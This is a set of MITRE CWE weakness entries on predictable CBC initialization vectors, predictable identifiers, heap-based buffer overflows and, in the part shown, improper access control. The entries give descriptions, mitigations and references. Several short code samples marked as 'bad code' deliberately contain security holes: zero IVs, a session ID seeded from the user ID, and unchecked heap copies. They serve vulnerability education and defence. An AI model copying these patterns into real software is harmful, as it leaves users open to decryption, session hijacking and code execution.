PhaseNote
ImplementationDevelopers might dismiss the importance of an unpredictable IV and choose an easier implementation to save effort, weakening the scheme in the process.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

If the IV is not properly initialized, data that is encrypted can be compromised and leak information.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In the following examples, CBC mode is used when encrypting data:

(bad code)
Example Language:
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
(bad code)
Example Language: Java 
public class SymmetricCipherTest {
public static void main() {

byte[] text ="Secret".getBytes();
byte[] iv ={
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
KeyGenerator kg = KeyGenerator.getInstance("DES");
kg.init(56);
SecretKey key = kg.generateKey();
Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
IvParameterSpec ips = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, key, ips);
return cipher.doFinal(inpBytes);
}
}

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

+ Observed Examples
ReferenceDescription
encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality
messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart
application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong.
Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values.
BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack.
+ Potential Mitigations

Phase: Implementation

NIST recommends two methods of generating unpredictable IVs for CBC mode [REF-1172]. The first is to generate the IV randomly. The second method is to encrypt a nonce with the same key and cipher to be used to encrypt the plaintext. In this case the nonce must be unique but can be predictable, since the block cipher will act as a pseudo random permutation.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Functional Areas
  • Cryptography
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1370ICS Supply Chain: Common Mode Frailties
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPNot using a random IV with CBC mode
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Initialization Vectors", Page 42. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1171] Matthew Green. "Why IND-CPA implies randomized encryption". 2018-08-24. <https://blog.cryptographyengineering.com/why-ind-cpa-implies-randomized-encryption/>.
[REF-1172] NIST. "Recommendation for Block Cipher Modes of Operation". Appendix C. 2001-12. <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Functional_Areas, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2021-07-20CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, References
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2021-03-15Not Using a Random IV with CBC Mode
2021-07-20Not Using an Unpredictable IV with CBC Mode

CWE-340: Generation of Predictable Numbers or Identifiers

Weakness ID: 340
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a scheme that generates numbers or identifiers that are more predictable than required.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.341Predictable from Observable State
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.342Predictable Exact Value from Previous Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.343Predictable Value Range from Previous Values
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

This code generates a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

+ Observed Examples
ReferenceDescription
Product for administering PBX systems uses predictable identifiers and timestamps for filenames (CWE-340) which allows attackers to access files via direct request (CWE-425).
PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.
Listening TCP ports are sequentially allocated, allowing spoofing attacks.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPredictability problems
WASC11Brute Force
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Predictability Problems

CWE-122: Heap-based Buffer Overflow

Weakness ID: 122
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Modify Memory

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

(bad code)
Example Language:
#define BUFSIZE 256
int main(int argc, char **argv) {
char *buf;
buf = (char *)malloc(sizeof(char)*BUFSIZE);
strcpy(buf, argv[1]);
}

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){

/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

+ Observed Examples
ReferenceDescription
Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339)
Chain: integer overflow (CWE-190) causes a negative signed value, which later bypasses a maximum-only check (CWE-839), leading to heap-based buffer overflow (CWE-122).
+ Potential Mitigations
Pre-design: Use a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Strategy: Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPHeap overflow
Software Fault PatternsSFP8Faulty Buffer Access
CERT C Secure CodingSTR31-CCWE More SpecificGuarantee that storage for strings has sufficient space for character data and the null terminator
ISA/IEC 62443Part 4-2Req CR 3.5
ISA/IEC 62443Part 3-3Req SR 3.5
ISA/IEC 62443Part 4-1Req SI-1
ISA/IEC 62443Part 4-1Req SI-2
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-1Req SVV-3
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Relationship_Notes
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Relationships
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Likelihood_of_Exploit, Observed_Examples, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples, Taxonomy_Mappings

CWE-284: Improper Access Control

Weakness ID: 284
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
+ Extended Description

Access control involves the use of several protection mechanisms such as:

  • Authentication (proving the identity of an actor)
  • Authorization (ensuring that a given actor can access a resource), and
  • Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

  • Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
  • Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.
+ Alternate Terms
Authorization:
The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.282Improper Ownership Management
